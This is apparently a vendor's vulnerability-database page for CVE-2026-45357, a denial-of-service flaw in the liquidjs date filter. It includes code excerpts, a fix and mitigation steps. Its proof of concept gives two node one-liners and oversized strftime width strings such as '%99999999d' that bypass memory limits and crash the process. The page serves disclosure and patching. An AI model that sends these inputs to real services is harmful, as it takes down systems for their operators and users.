NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-45357 — liquidjs

HIGHFix: harttle/liquidjs@3129d46

CVE-2026-45357 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in liquidjs. A fix is available for liquidjs — see the affected versions and patch details below.

LiquidJS: Memory and render limit bypass via unbounded width padding in `date` filter (strftime)

Also known asGHSA-hh27-hf48-9f5q
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45357.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs33th percentile — riskier than 33% of all scored CVEsHighest risk
0.00%0.39%0.77%1.16%0.4%0.4%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

721other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
liquidjsnpm
3.4Mdownloads / week

Description

Summary

The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.

Details

date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:

export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
  const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
  this.context.memoryLimit.use(size)
  ...
  return strftime(date, format)
}

strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:

function format (d, match) {
  const [input, flagStr = '', width, modifier, conversion] = match
  ...
  let padWidth = width || padWidths[conversion] || 0
  ...
  return padStart(ret, padWidth, padChar)   // strftime.ts:147
}

padStart calls pad() in src/util/underscore.ts:153:

export function pad (str, length, ch, add) {
  str = String(str)
  let n = length - str.length
  while (n-- > 0) str = add(str, ch)   // unbounded loop
  return str
}

The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.

Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.

This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).

PoC

Setup: npm install [email protected].

Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):

node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"

Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.

Step 2 — OOM-kill the Node process under a 200 MB heap cap:

node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"

Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.

The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).

Impact

  • DoS against any LiquidJS-rendered surface where a context value reaches the date filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.
  • Bypass of the engine's two documented DoS controls — memoryLimit and renderLimit — meaning that operators who explicitly opted into DoS protection still have no defense for this code path.
  • All date_to_xmlschema, date_to_rfc822, date_to_string, date_to_long_string paths share the same sink via strftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on date.

Recommended Fix

Two complementary fixes:

  1. Have pad() in src/util/underscore.ts charge the Context's memory limit and use String.prototype.repeat instead of an O(n) concatenation loop. Since pad() is generic, the simplest version takes the memory limit as a parameter:
export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
  str = String(str)
  const n = length - str.length
  if (n <= 0) return str
  return add === ((s, c) => c + s)
    ? ch.repeat(n) + str
    : str + ch.repeat(n)
}
  1. Cap padWidth in src/util/strftime.ts:141 and account for it via memoryLimit. The date filter (src/filters/date.ts) should also charge this.context.memoryLimit.use(parsedMaxWidth) before invoking strftime, e.g. by scanning the format for %(\d+) widths and summing them. A conservative cap (e.g. Math.min(width, 1024) for non-N conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.

Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmliquidjsall versions10.26.0npm install liquidjs@10.26.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for liquidjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update liquidjs to 10.26.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45357 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

## Summary The `date` filter's strftime implementation parses width specifiers like `%9999999d` and forwards the captured width unchecked into `pad()`/`padStart()` in `src/util/underscore.ts`. The pad loop performs unbounded string concatenation without consulting the Context's `memoryLimit` or `renderLimit`, so a single small template (`{{ x | date: '%5000000d' }}`) produces megabytes of output and unbounded CPU. The `memoryLimit` and `renderLimit` options the docs (`src/liquid-options.ts:87-92`) advertise as DoS controls — and which the docstring explicitly mentions for `strftime` — are ent
O3 Security · Impact-Aware SCA

Is CVE-2026-45357 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-45357: liquidjs DoS — Fixed in 10.26.0